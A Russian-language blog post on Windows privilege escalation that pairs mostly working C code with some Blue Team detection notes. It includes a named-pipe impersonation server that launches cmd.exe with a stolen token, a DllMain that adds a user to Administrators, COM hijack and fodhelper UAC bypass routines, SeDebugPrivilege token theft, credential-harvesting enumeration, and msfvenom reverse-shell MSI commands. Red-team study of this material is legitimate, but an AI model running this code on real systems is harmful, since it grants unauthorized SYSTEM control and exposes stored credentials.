Повышение привилегий в Windows: техники 2026 года

Posted on 28 марта, 2026 by AkaTor

Категория: Red Team / Blue Team / Purple Team
Уровень: Intermediate → Expert
Автор: Aka Tor

Введение

Повышение привилегий (Privilege Escalation) — ключевой этап любой атаки. Получив initial access от обычного пользователя, атакующему нужен **NT AUTHORITY\SYSTEM** или хотя бы **Administrator**. В этой статье — техники от классических до актуальных в 2026 году, с рабочим кодом и методами детекта.

Два типа:

- **Local Privilege Escalation (LPE)** — повышение на той же машине
- **Privilege Abuse** — злоупотребление уже имеющимися привилегиями/конфигурацией

Часть 1: Разведка — что искать

---

1. Enumeration — сбор информации о системе

1.1 Системная информация

```
// Сбор критической информации для privesc
// Версия ОС, патчи, привилегии, сервисы, scheduled tasks
```

```
// Текущий пользователь и привилегии
printf("Username: %s\n", getenv("USERNAME"));
printf("Domain:   %s\n", getenv("USERDOMAIN"));

// Привилегии токена
HANDLE hToken;
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);
// ... enumerate privileges with GetTokenInformation(TokenPrivileges)

// Группы пользователя
// NET LOCALGROUP ADMINISTRATORS — есть ли мы там?
// whoami /priv — какие привилегии включены?
```

1.2 Что искать для privesc

```
Чеклист разведки:

1. Unquoted Service Paths          — sc qc ServiceName
2. Weak Service Permissions        — accesschk.exe -uwcv "Users" *
3. Writable Service Binary Path    — icacls "C:\path\to\service.exe"
4. AlwaysInstallElevated           — reg query HKLM\...\Installer /v
AlwaysInstallElevated
5. Stored Credentials              — cmdkey /list
6. Scheduled Tasks writable        — schtasks /query /fo LIST /v
7. DLL Hijacking opportunities     — Process Monitor → NAME NOT FOUND
8. Token Privileges                — whoami /priv (SeImpersonate,
SeAssignPrimaryToken)
9. Unpatched vulnerabilities       — systeminfo → Watson/wesng
10. Registry AutoRun               — reg query
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
11. Writable PATH directories      — echo %PATH% + icacls each dir
12. Named Pipe impersonation       — pipelist.exe
```

Часть 2: Классические техники (работают до сих пор)

---

2. Unquoted Service Paths

Концепт

Если путь к сервису содержит пробелы и НЕ обёрнут в кавычки, Windows ищет бинарник по частям:

```
Сервис: C:\Program Files\My App\service.exe

Windows пробует по порядку:
  1. C:\Program.exe              ← если мы запишем сюда — наш код
выполнится
  2. C:\Program Files\My.exe     ← или сюда
  3. C:\Program Files\My App\service.exe  ← оригинал

Условие: мы можем писать в C:\ или C:\Program Files\
```

```
// Поиск Unquoted Service Paths
// Ищем сервисы где ImagePath содержит пробел и нет кавычек

#include <windows.h>
#include <stdio.h>

void FindUnquotedServices() {
    SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL,
SC_MANAGER_ENUMERATE_SERVICE);
    if (!hSCM) return;

    DWORD needed, count, resume = 0;
    EnumServicesStatusExA(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_WIN32,
        SERVICE_STATE_ALL, NULL, 0, &needed, &count, &resume, NULL);

    PBYTE buf = (PBYTE)malloc(needed);
    EnumServicesStatusExA(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_WIN32,
        SERVICE_STATE_ALL, buf, needed, &needed, &count, &resume,
NULL);
```

```
    ENUM_SERVICE_STATUS_PROCESSA* svcs =
(ENUM_SERVICE_STATUS_PROCESSA*)buf;

    for (DWORD i = 0; i < count; i++) {
        SC_HANDLE hSvc = OpenServiceA(hSCM, svcs[i].lpServiceName,
SERVICE_QUERY_CONFIG);
        if (!hSvc) continue;

        BYTE cfgBuf[8192];
        QUERY_SERVICE_CONFIGA* cfg = (QUERY_SERVICE_CONFIGA*)cfgBuf;
        QueryServiceConfigA(hSvc, cfg, sizeof(cfgBuf), &needed);

        char* path = cfg->lpBinaryPathName;
        // Уязвимо если: есть пробел, нет кавычек, не system32
        if (path && path[0] != '"' && strchr(path, ' ') &&
            _strnicmp(path, "C:\\Windows\\system32", 19) != 0) {
            printf("[!] VULNERABLE: %s\n", svcs[i].lpServiceName);
            printf("    Path: %s\n", path);
            printf("    Start: %s\n\n",
                cfg->dwStartType == SERVICE_AUTO_START ? "AUTO" :
"MANUAL");
        }
        CloseServiceHandle(hSvc);
    }

    free(buf);
    CloseServiceHandle(hSCM);
}
```

Blue Team: детект

- Аудит всех сервисов: `wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows" | findstr /i /v """`
- GPO: запрет записи в `C:\` и `C:\Program Files\` для непривилегированных
- Sysmon Event ID 1: создание процесса с неожиданным путём

---

3. Weak Service Permissions

Концепт

Если у обычного пользователя есть право `SERVICE_CHANGE_CONFIG` на сервис, он может изменить `binPath` на свой бинарник.

```
// Проверка прав на сервис
// Если можем менять конфигурацию — можем подменить binPath

void CheckServicePermissions(const char* serviceName) {
    SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
    SC_HANDLE hSvc = OpenServiceA(hSCM, serviceName,
        SERVICE_QUERY_CONFIG | SERVICE_CHANGE_CONFIG);

    if (hSvc) {
        printf("[!] Can modify service: %s\n", serviceName);

        // Эксплуатация:
        // ChangeServiceConfigA(hSvc, SERVICE_NO_CHANGE,
SERVICE_NO_CHANGE,
        //     SERVICE_NO_CHANGE, "C:\\temp\\evil.exe",
        //     NULL, NULL, NULL, NULL, NULL, NULL);
        // Затем: StartServiceA(hSvc, 0, NULL);
        // evil.exe запустится как SYSTEM!

        CloseServiceHandle(hSvc);
    }
    CloseServiceHandle(hSCM);
}
```

---

4. AlwaysInstallElevated

Концепт

Если в реестре установлен `AlwaysInstallElevated = 1` в HKLM и HKCU — любой

MSI файл устанавливается с привилегиями SYSTEM.

```
// Проверка AlwaysInstallElevated
BOOL CheckAlwaysInstallElevated() {
    DWORD val = 0, size = sizeof(val);
    BOOL hklm = FALSE, hkcu = FALSE;

    // HKLM
    RegGetValueA(HKEY_LOCAL_MACHINE,
        "SOFTWARE\\Policies\\Microsoft\\Windows\\Installer",
        "AlwaysInstallElevated", RRF_RT_DWORD, NULL, &val, &size);
    hklm = (val == 1);

    // HKCU
    val = 0; size = sizeof(val);
    RegGetValueA(HKEY_CURRENT_USER,
        "SOFTWARE\\Policies\\Microsoft\\Windows\\Installer",
        "AlwaysInstallElevated", RRF_RT_DWORD, NULL, &val, &size);
    hkcu = (val == 1);

    if (hklm && hkcu) {
        printf("[!] AlwaysInstallElevated is ENABLED!\n");
        printf("    Create MSI: msfvenom -p
windows/x64/shell_reverse_tcp ... -f msi\n");
        printf("    Install:    msiexec /quiet /qn /i evil.msi\n");
        printf("    → Executes as SYSTEM!\n");
        return TRUE;
    }
    return FALSE;
}
```

---

5. Token Impersonation — Potato Family

Концепт

Если у токена есть `SeImpersonatePrivilege` или `SeAssignPrimaryTokenPrivilege`

(обычно у сервисных аккаунтов, IIS, SQL Server) — можно украсть SYSTEM токен через Named Pipe impersonation.

```
// Potato Attack: Named Pipe Impersonation → SYSTEM token
// Работает если у нас SeImpersonatePrivilege

// Концепт:
// 1. Создаём Named Pipe
// 2. Заставляем SYSTEM-сервис подключиться к нашему pipe
//    (через DCOM, EFS, SpoolService, BITS и т.д.)
// 3. ImpersonateNamedPipeClient() → получаем SYSTEM token
// 4. CreateProcessWithTokenW() → cmd.exe as SYSTEM

#include <windows.h>
#include <stdio.h>

BOOL CheckImpersonatePrivilege() {
    HANDLE hToken;
    OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);

    DWORD size;
    GetTokenInformation(hToken, TokenPrivileges, NULL, 0, &size);
    TOKEN_PRIVILEGES* tp = (TOKEN_PRIVILEGES*)malloc(size);
    GetTokenInformation(hToken, TokenPrivileges, tp, size, &size);

    for (DWORD i = 0; i < tp->PrivilegeCount; i++) {
        char name[64];
        DWORD nameLen = sizeof(name);
        LookupPrivilegeNameA(NULL, &tp->Privileges[i].Luid, name,
&nameLen);

        if (strcmp(name, "SeImpersonatePrivilege") == 0) {
            printf("[+] SeImpersonatePrivilege: %s\n",
                (tp->Privileges[i].Attributes & SE_PRIVILEGE_ENABLED)
?
                "ENABLED" : "DISABLED");
            free(tp); CloseHandle(hToken);
            return TRUE;
```

```
        }
    }
    free(tp); CloseHandle(hToken);
    return FALSE;
}

// Named Pipe Server для impersonation
DWORD WINAPI PipeServer(LPVOID param) {
    HANDLE hPipe = CreateNamedPipeA(
        "\\\\.\\pipe\\privesc_demo",
        PIPE_ACCESS_DUPLEX,
        PIPE_TYPE_BYTE | PIPE_WAIT,
        1, 4096, 4096, 0, NULL);

    if (hPipe == INVALID_HANDLE_VALUE) return 1;

    printf("[*] Waiting for SYSTEM service to connect...\n");

    if (ConnectNamedPipe(hPipe, NULL)) {
        // Клиент подключился — impersonate!
        if (ImpersonateNamedPipeClient(hPipe)) {
            printf("[+] Impersonating connected client!\n");

            // Проверяем кто мы теперь
            HANDLE hToken;
            OpenThreadToken(GetCurrentThread(), TOKEN_QUERY |
TOKEN_DUPLICATE, TRUE, &hToken);

            char user[256];
            DWORD userLen = sizeof(user);
            GetUserNameA(user, &userLen);
            printf("[+] Now running as: %s\n", user);

            // Запускаем cmd.exe с украденным токеном
            // DuplicateTokenEx + CreateProcessWithTokenW
            HANDLE hDupToken;
            DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
                SecurityImpersonation, TokenPrimary, &hDupToken);
```

```
            // CreateProcessWithTokenW(hDupToken, 0, NULL, L"cmd.exe",
...)
            // → cmd.exe as SYSTEM!

            RevertToSelf();
            CloseHandle(hToken);
        }
    }

    CloseHandle(hPipe);
    return 0;
}
```

Potato Variants (2024-2026)

```
Эволюция Potato атак:

JuicyPotato (2018)    — DCOM activation через CLSID
RoguePotato (2020)    — обход патча JuicyPotato через remote OXID
PrintSpoofer (2020)   — SpoolService Named Pipe impersonation
EfsPotato (2021)      — EFS (Encrypting File System) RPC
GodPotato (2022)      — универсальный, работает на Win10/11/Server
2022
CoercedPotato (2023)  — множество coercion методов в одном инструменте
SweetPotato (2024)    — комбинация BeaconEye evasion + potato
DCOMPotato (2025)     — новые CLSID для DCOM activation
SilverPotato (2025)   — cross-session token theft

Все требуют: SeImpersonatePrivilege или SeAssignPrimaryTokenPrivilege
Типичные жертвы: IIS AppPool, SQL Server, MSSQL, сервисные аккаунты
```

Часть 3: Продвинутые техники

---

6. DLL Hijacking — Search Order Hijacking

Концепт

Привилегированный процесс загружает DLL. Если мы можем подложить свою DLL раньше в search order — наш код выполнится с привилегиями целевого процесса.

```
// DLL Hijacking: поиск возможностей
// Process Monitor → фильтр: Result = NAME NOT FOUND, Path ends with .dll

// Шаг 1: Найти привилегированный процесс который ищет DLL
// Шаг 2: Проверить что мы можем писать в директорию поиска
// Шаг 3: Создать DLL-прокси (загружает оригинал + наш код)

// DLL Search Order (по умолчанию):
// 1. Директория приложения
// 2. System32
// 3. System16
// 4. Windows directory
// 5. Current directory
// 6. Директории из PATH

// Пример: создание hijack DLL
// Оригинал: C:\Windows\System32\version.dll
// Наша:     C:\Program Files\VulnApp\version.dll (если можем писать сюда)

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved)
{
    if (reason == DLL_PROCESS_ATTACH) {
        // Наш payload — запускаем cmd.exe
        STARTUPINFOA si = { sizeof(si) };
        PROCESS_INFORMATION pi = { 0 };
        CreateProcessA(NULL, "cmd.exe /c net localgroup Administrators user /add",
            NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
```

```
        if (pi.hProcess) {
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
        }

        // Загружаем оригинальную DLL для прокси
        // LoadLibrary("C:\\Windows\\System32\\version.dll");
        // Forward exports...
    }
    return TRUE;
}
```

Phantom DLL Hijacking

```
// Phantom DLL Hijack: DLL которая НЕ существует в system32
// Некоторые программы ищут DLL которых нет → можно создать
// Не нужно проксировать экспорты!

// Известные phantom DLL (ищутся но не существуют):
// - wlbsctrl.dll    (IKEEXT service)
// - wlanapi.dll     (в некоторых конфигурациях)
// - amsi.dll        (в директории приложения)
// - profapi.dll     (при определённых условиях)
// - dbghelp.dll     (многие отладчики)

// Process Monitor фильтр:
// Path contains: .dll
// Result is: NAME NOT FOUND
// Integrity: System (показать только привилегированные процессы)
```

---

7. Scheduled Tasks — эксплуатация планировщика

```
// Поиск Scheduled Tasks с writable бинарниками
// Если задача запускается от SYSTEM и мы можем заменить её бинарник → privesc
```

```
void FindVulnerableScheduledTasks() {
    // Энумерация через COM (ITaskService)
    // Или через командную строку:
    // schtasks /query /fo CSV /v → парсим

    // Проверяем:
    // 1. Задача запускается от SYSTEM или Administrators
    // 2. Путь к бинарнику доступен для записи
    // 3. Задача запускается периодически или при логоне

    // Пример уязвимой задачи:
    // Task: UpdateService
    // Run As: SYSTEM
    // Action: C:\Tools\updater.exe
    // icacls C:\Tools\updater.exe → Users:(M) ← WRITABLE!

    // Эксплуатация:
    // copy evil.exe C:\Tools\updater.exe
    // Ждём trigger → evil.exe запустится как SYSTEM
    printf("Checking scheduled tasks for writable binaries...\n");

    // Быстрая проверка через WinAPI
    WIN32_FIND_DATAA fd;
    HANDLE hFind;

    // Проверяем типичные locations
    const char* paths[] = {
        "C:\\Tools\\*.exe",
        "C:\\Scripts\\*.bat",
        "C:\\Maintenance\\*.exe",
        NULL
    };

    for (int i = 0; paths[i]; i++) {
        hFind = FindFirstFileA(paths[i], &fd);
        if (hFind != INVALID_HANDLE_VALUE) {
            do {
                printf("  [?] Found: %s\n", fd.cFileName);
```

```
                // Проверить icacls / accesschk
            } while (FindNextFileA(hFind, &fd));
            FindClose(hFind);
        }
    }
}
```

---

8. Registry AutoRun Abuse

```
// Registry AutoRun: программы стартующие при логоне
// Если у нас есть доступ на запись в ключ или в бинарник → privesc

void CheckAutoRuns() {
    const char* keys[] = {
        "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
        "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
        "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunServices",
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run",
        NULL
    };

    HKEY roots[] = { HKEY_LOCAL_MACHINE, HKEY_CURRENT_USER };
    const char* rootNames[] = { "HKLM", "HKCU" };

    for (int r = 0; r < 2; r++) {
        for (int k = 0; keys[k]; k++) {
            HKEY hKey;
            if (RegOpenKeyExA(roots[r], keys[k], 0, KEY_READ, &hKey)
== ERROR_SUCCESS) {
                char name[256], value[1024];
                DWORD nameLen, valueLen, type;
                DWORD idx = 0;

                while (1) {
                    nameLen = sizeof(name);
                    valueLen = sizeof(value);
```

```
                    if (RegEnumValueA(hKey, idx++, name, &nameLen,
                        NULL, &type, (PBYTE)value, &valueLen) !=
ERROR_SUCCESS) break;

                    if (type == REG_SZ || type == REG_EXPAND_SZ) {
                        printf("  %s\\%s\n", rootNames[r], keys[k]);
                        printf("    %s = %s\n", name, value);

                        // Проверить доступ на запись к бинарнику
                        // icacls "value" → Users:(M) = vulnerable
                    }
                }
                RegCloseKey(hKey);
            }
        }
    }
}
```

---

9. Writable PATH Directories

```
// Если директория из системного PATH доступна для записи обычному
юзеру
// → можно подложить DLL/EXE которые будут загружены
привилегированными процессами

void CheckWritablePATH() {
    char* path = getenv("PATH");
    char pathCopy[8192];
    strcpy_s(pathCopy, sizeof(pathCopy), path);

    char* dir = strtok(pathCopy, ";");
    while (dir) {
        // Попробовать создать тестовый файл
        char testPath[MAX_PATH];
        sprintf_s(testPath, sizeof(testPath),
"%s\\__privesc_test.tmp", dir);
```

```
        HANDLE hFile = CreateFileA(testPath, GENERIC_WRITE, 0, NULL,
            CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);

        if (hFile != INVALID_HANDLE_VALUE) {
            CloseHandle(hFile);
            DeleteFileA(testPath);
            printf("[!] WRITABLE PATH: %s\n", dir);
            printf("    Place malicious DLL here for hijacking\n\n");
        }
        dir = strtok(NULL, ";");
    }
}
```

Часть 4: Техники 2026 года

---

10. Bring Your Own Vulnerable Driver (BYOVD) → SYSTEM

Концепт

Загрузка легитимного но уязвимого подписанного драйвера для получения arbitrary kernel R/W → модификация токена текущего процесса → SYSTEM.

```
// BYOVD Privilege Escalation: концепт
// 1. Загрузить уязвимый подписанный драйвер
// 2. Через уязвимость: arbitrary kernel read/write
// 3. Найти EPROCESS текущего процесса в ядре
// 4. Скопировать Token из System process (PID 4) в наш EPROCESS
// 5. Текущий процесс теперь SYSTEM!

// Известные уязвимые драйверы (2024-2026):
// RTCore64.sys         — MSI Afterburner (CVE-2019-16098)
// dbutil_2_3.sys       — Dell BIOS Utility (CVE-2021-21551)
// gdrv.sys             — GIGABYTE (arbitrary R/W)
// ene.sys              — ENE Technology (CVE-2024-xxxx)
```

```
// WinRing0x64.sys      — CPUID HWMonitor
// AsrDrv106.sys        — ASRock
// NTIOLib_X64.sys      — MSI utilities

// Концепт Token Theft через kernel R/W:
void TokenTheftConcept() {
    // Псевдокод:
    // PEPROCESS systemProcess = PsLookupProcessByProcessId(4);
    // PEPROCESS myProcess = PsGetCurrentProcess();
    //
    // // Token offset в EPROCESS (Win11 24H2): ~0x4B8
    // PVOID systemToken = *(PVOID*)((PBYTE)systemProcess +
TOKEN_OFFSET);
    //
    // // Копируем SYSTEM token в наш процесс
    // *(PVOID*)((PBYTE)myProcess + TOKEN_OFFSET) = systemToken;
    //
    // // Теперь наш процесс = SYSTEM!
    // system("cmd.exe");
    printf("Token theft requires kernel R/W via vulnerable driver\n");
}
```

---

11. Named Pipe Impersonation — Universal Potato

Концепт

Создаём Named Pipe, заставляем SYSTEM-сервис подключиться через RPC/DCOM coercion, impersonate клиента → получаем SYSTEM token.

```
// Universal Potato: Named Pipe + DCOM/RPC Coercion
// Требует: SeImpersonatePrivilege (есть у сервисных аккаунтов)

// Методы coercion (заставить SYSTEM подключиться к нашему pipe):
//
// 1. EfsRpc (EfsPotato):
//    EfsRpcOpenFileRaw("\\\\localhost/pipe/our_pipe\\C$\\x", ...)
```

```
//
// 2. SpoolService (PrintSpoofer):
//    RpcOpenPrinter("\\\\localhost/pipe/our_pipe", ...)
//
// 3. DCOM Activation (JuicyPotato/GodPotato):
//    CoGetInstanceFromIStorage() с нашим pipe как storage
//
// 4. PetitPotam (EFS over SMB):
//    EfsRpcOpenFileRaw("\\\\attacker\\share", ...) — remote coercion
//
// 5. MS-RPRN (Print Bug):
//
RpcRemoteFindFirstPrinterChangeNotification("\\\\attacker\\share")
//
// 6. BITS (Background Intelligent Transfer):
//    IBackgroundCopyJob::SetNotifyCmdLine()

BOOL CreateImpersonationPipe(const char* pipeName) {
    char fullName[256];
    sprintf_s(fullName, sizeof(fullName), "\\\\.\\pipe\\%s",
pipeName);

    SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE };

    HANDLE hPipe = CreateNamedPipeA(fullName,
        PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE,
        PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
        10, 4096, 4096, 0, &sa);

    if (hPipe == INVALID_HANDLE_VALUE) {
        printf("[-] CreateNamedPipe failed: %d\n", GetLastError());
        return FALSE;
    }

    printf("[*] Pipe created: %s\n", fullName);
    printf("[*] Waiting for SYSTEM connection...\n");

    // Ждём подключение (после coercion)
```

```
    if (!ConnectNamedPipe(hPipe, NULL) && GetLastError() !=
ERROR_PIPE_CONNECTED) {
        CloseHandle(hPipe);
        return FALSE;
    }

    // Impersonate!
    if (ImpersonateNamedPipeClient(hPipe)) {
        char user[256];
        DWORD userLen = sizeof(user);
        GetUserNameA(user, &userLen);
        printf("[+] Impersonating: %s\n", user);

        // Получаем токен
        HANDLE hToken, hDupToken;
        OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE,
&hToken);
        DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
            SecurityImpersonation, TokenPrimary, &hDupToken);

        // Запускаем cmd.exe с SYSTEM токеном
        STARTUPINFOW siw = { sizeof(siw) };
        PROCESS_INFORMATION pi = { 0 };
        CreateProcessWithTokenW(hDupToken, 0, NULL, L"cmd.exe",
            CREATE_NEW_CONSOLE, NULL, NULL, &siw, &pi);

        if (pi.hProcess) {
            printf("[+] cmd.exe as SYSTEM! PID: %d\n",
pi.dwProcessId);
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
        }

        CloseHandle(hDupToken);
        CloseHandle(hToken);
        RevertToSelf();
    }
```

```
    CloseHandle(hPipe);
    return TRUE;
}
```

---

12. COM Object Hijacking — CLSID Abuse

```
// COM Hijacking: подмена COM-объекта через реестр
// При активации COM → загружается наша DLL вместо оригинальной

// Принцип:
// HKCU\Software\Classes\CLSID\{CLSID}\InProcServer32
// имеет приоритет над
// HKLM\Software\Classes\CLSID\{CLSID}\InProcServer32

// Если привилегированный процесс активирует COM object →
// загрузится наша DLL из HKCU!

void SetupCOMHijack(const char* clsid, const char* dllPath) {
    char keyPath[512];
    sprintf_s(keyPath, sizeof(keyPath),
        "Software\\Classes\\CLSID\\%s\\InProcServer32", clsid);

    HKEY hKey;
    RegCreateKeyExA(HKEY_CURRENT_USER, keyPath, 0, NULL,
        0, KEY_SET_VALUE, NULL, &hKey, NULL);

    // Путь к нашей DLL
    RegSetValueExA(hKey, NULL, 0, REG_SZ,
        (BYTE*)dllPath, (DWORD)strlen(dllPath) + 1);

    // Threading model
    const char* threading = "Both";
    RegSetValueExA(hKey, "ThreadingModel", 0, REG_SZ,
        (BYTE*)threading, (DWORD)strlen(threading) + 1);

    RegCloseKey(hKey);
```

```
    printf("[+] COM hijack registered:\n");
    printf("    CLSID: %s\n", clsid);
    printf("    DLL:   %s\n", dllPath);
    printf("    When privileged process activates this CLSID → our DLL
loads\n");
}

// Известные CLSID для hijack (активируются системными процессами):
// {BDB57FF2-79B9-4205-9447-F5FE85F37312} — DllSurrogate
// {97D47D56-3777-49FB-8E8F-90D7E30E1A1E} — Windows Search
// {00021401-0000-0000-C000-000000000046} — ShellLink
```

---

13. Token Manipulation — Privilege Enabling

```
// Если у токена есть привилегия но она DISABLED → можно включить
// Некоторые привилегии позволяют стать SYSTEM:
//   SeDebugPrivilege      → OpenProcess на любой процесс (включая
SYSTEM)
//   SeBackupPrivilege     → читать любые файлы (SAM, NTDS.dit)
//   SeRestorePrivilege    → писать любые файлы
//   SeTakeOwnershipPrivilege → стать владельцем любого объекта
//   SeLoadDriverPrivilege → загрузить драйвер (→ kernel access)
//   SeImpersonatePrivilege → potato attacks

BOOL EnablePrivilege(const char* privName) {
    HANDLE hToken;
    if (!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return FALSE;

    LUID luid;
    if (!LookupPrivilegeValueA(NULL, privName, &luid)) {
        CloseHandle(hToken); return FALSE;
    }

    TOKEN_PRIVILEGES tp;
    tp.PrivilegeCount = 1;
```

```
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL,
NULL);
    DWORD err = GetLastError();
    CloseHandle(hToken);

    if (result && err == ERROR_SUCCESS) {
        printf("[+] Enabled: %s\n", privName);
        return TRUE;
    } else {
        printf("[-] Cannot enable: %s (error: %d)\n", privName, err);
        return FALSE;
    }
}

// SeDebugPrivilege → dump lsass / inject into SYSTEM process
void DebugPrivilegeToSystem() {
    if (!EnablePrivilege("SeDebugPrivilege")) return;

    // Теперь можем открыть winlogon.exe (SYSTEM)
    // и украсть его токен

    DWORD winlogonPid = 0;
    // ... найти PID winlogon.exe ...

    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE,
winlogonPid);
    if (hProcess) {
        HANDLE hToken, hDupToken;
        OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY,
&hToken);
        DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
            SecurityImpersonation, TokenPrimary, &hDupToken);

        // CreateProcessWithTokenW(hDupToken, ..., "cmd.exe", ...)
        // → cmd.exe as SYSTEM!
```

```
        CloseHandle(hDupToken);
        CloseHandle(hToken);
        CloseHandle(hProcess);
    }
}
```

---

14. Credential Harvesting — Stored Credentials

```
// Поиск сохранённых credentials на системе
// Если найдём пароль админа → runas → SYSTEM

void EnumerateCredentials() {
    printf("=== Stored Credentials ===\n\n");

    // 1. Windows Credential Manager
    printf("[1] Credential Manager (cmdkey /list):\n");
    system("cmdkey /list 2>nul");

    // 2. WiFi passwords
    printf("\n[2] WiFi Profiles:\n");
    system("netsh wlan show profiles 2>nul");

    // 3. Unattend.xml (пароли в открытом виде!)
    printf("\n[3] Checking Unattend.xml locations:\n");
    const char* unattendPaths[] = {
        "C:\\Windows\\Panther\\Unattend.xml",
        "C:\\Windows\\Panther\\unattend.xml",
        "C:\\Windows\\Panther\\Unattend\\Unattend.xml",
        "C:\\Windows\\System32\\sysprep\\Unattend.xml",
        "C:\\Windows\\System32\\sysprep\\sysprep.xml",
        NULL
    };
    for (int i = 0; unattendPaths[i]; i++) {
        DWORD attr = GetFileAttributesA(unattendPaths[i]);
        if (attr != INVALID_FILE_ATTRIBUTES) {
            printf("  [!] FOUND: %s\n", unattendPaths[i]);
```

```
            printf("      May contain plaintext admin password!\n");
        }
    }

    // 4. Web.config / connectionstrings
    printf("\n[4] IIS web.config files:\n");
    system("dir /s /b C:\\inetpub\\web.config 2>nul");

    // 5. PowerShell history
    printf("\n[5] PowerShell history:\n");
    char psHistory[MAX_PATH];
    sprintf_s(psHistory, sizeof(psHistory),
"%s\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\Con
soleHost_history.txt",
        getenv("USERPROFILE"));
    DWORD attr = GetFileAttributesA(psHistory);
    if (attr != INVALID_FILE_ATTRIBUTES) {
        printf("  [!] FOUND: %s\n", psHistory);
        printf("      May contain passwords from previous
commands!\n");
    }
}
```

---

15. UAC Bypass — Auto-Elevation Abuse

```
// UAC Bypass: запуск elevated процесса без UAC prompt
// Работает если пользователь в группе Administrators но не elevated

// Метод 1: fodhelper.exe (auto-elevates)
// fodhelper.exe запускается elevated без UAC prompt
// Он читает HKCU\Software\Classes\ms-settings\Shell\Open\command
// Мы пишем туда свой бинарник → elevated execution!

void UACBypass_Fodhelper(const char* cmdToRun) {
    HKEY hKey;
```

```
    // Создаём ключ
    RegCreateKeyExA(HKEY_CURRENT_USER,
        "Software\\Classes\\ms-settings\\Shell\\Open\\command",
        0, NULL, 0, KEY_SET_VALUE, NULL, &hKey, NULL);

    // Устанавливаем команду
    RegSetValueExA(hKey, NULL, 0, REG_SZ,
        (BYTE*)cmdToRun, (DWORD)strlen(cmdToRun) + 1);

    // DelegateExecute = "" (обязательно)
    RegSetValueExA(hKey, "DelegateExecute", 0, REG_SZ, (BYTE*)"", 1);

    RegCloseKey(hKey);

    // Запускаем fodhelper → он прочитает наш ключ → elevated cmd
    printf("[*] Launching fodhelper.exe (auto-elevated)...\n");
    ShellExecuteA(NULL, "open",
"C:\\Windows\\System32\\fodhelper.exe",
        NULL, NULL, SW_HIDE);

    // Cleanup (через 5 секунд)
    Sleep(5000);
    RegDeleteTreeA(HKEY_CURRENT_USER, "Software\\Classes\\ms-
settings");
    printf("[+] Registry cleaned up\n");
}

// Метод 2: computerdefaults.exe (аналогично)
// Метод 3: sdclt.exe /kickoffelev
// Метод 4: eventvwr.exe (mmc.exe auto-elevation)
// Метод 5: cmstp.exe (INF file abuse)
// Метод 6: wsreset.exe (Windows Store Reset)
```

---

16. Матрица: техники privesc

Техника	Требует	Результат	Детект
Unquoted Service Path	Write access to path	SYSTEM	Service path audit
Weak Service Perms	SERVICE_CHANGE_CONFIG	SYSTEM	Service ACL audit
AlwaysInstallElevated	Registry misconfiguration	SYSTEM	Registry monitoring
Potato (Named Pipe)	SeImpersonatePrivilege	SYSTEM	Pipe creation + impersonation
DLL Hijacking	Write to search path	Target process privs	Sysmon 7, unsigned DLL load
Scheduled Task Abuse	Writable task binary	SYSTEM	Task binary integrity
Registry AutoRun	Writable AutoRun entry	Logon user privs	AutoRun monitoring
PATH Hijacking	Writable PATH directory	Varies	PATH directory ACL audit
BYOVD Token Theft	Admin (driver load)	SYSTEM/Kernel	Driver load audit, HVCI
COM Hijacking	HKCU write	Target process privs	CLSID monitoring
Token Manipulation	SeDebugPrivilege	SYSTEM	Privilege use audit
Stored Credentials	File read access	Admin password	File access audit
UAC Bypass	Admin group (non-elevated)	High integrity	Registry key monitoring

---

17. Рекомендации

Для Red Team

- Начни с enumeration: `whoami /priv` → если есть SeImpersonate → Potato мгновенно
- Проверь сервисы: unquoted paths + weak permissions — самый частый вектор
- DLL hijacking: запусти Process Monitor от админа, ищи NAME NOT FOUND
- Stored credentials: Unattend.xml, web.config, PowerShell history
- UAC bypass: fodhelper/computerdefaults если юзер в Administrators
- BYOVD: если уже admin, но нужен SYSTEM — загрузи уязвимый драйвер

Для Blue Team

- **Service hardening**: кавычки в путях, минимальные ACL, no writable binaries
- **Principle of Least Privilege**: убрать SeImpersonate где не нужен
- **HVCI + Driver Blocklist**: блокировать BYOVD
- **UAC на Maximum**: Always Notify + no auto-elevation для третьих сторон
- **Credential Guard**: защита LSA secrets от дампа
- **LAPS**: уникальные пароли локальных админов
- **Sysmon**: Event ID 1 (process create), 7 (DLL load), 11 (file create), 13 (registry)
- **Аудит привилегий**: Event ID 4672 (special privileges), 4673 (privileged service)

Для Purple Team

- Прогоните все 13 техник из матрицы против вашей системы
- Инструменты: WinPEAS, PowerUp, BeRoot, SharpUp — автоматический enum
- Для каждого найденного вектора — создайте детект-правило и remediation
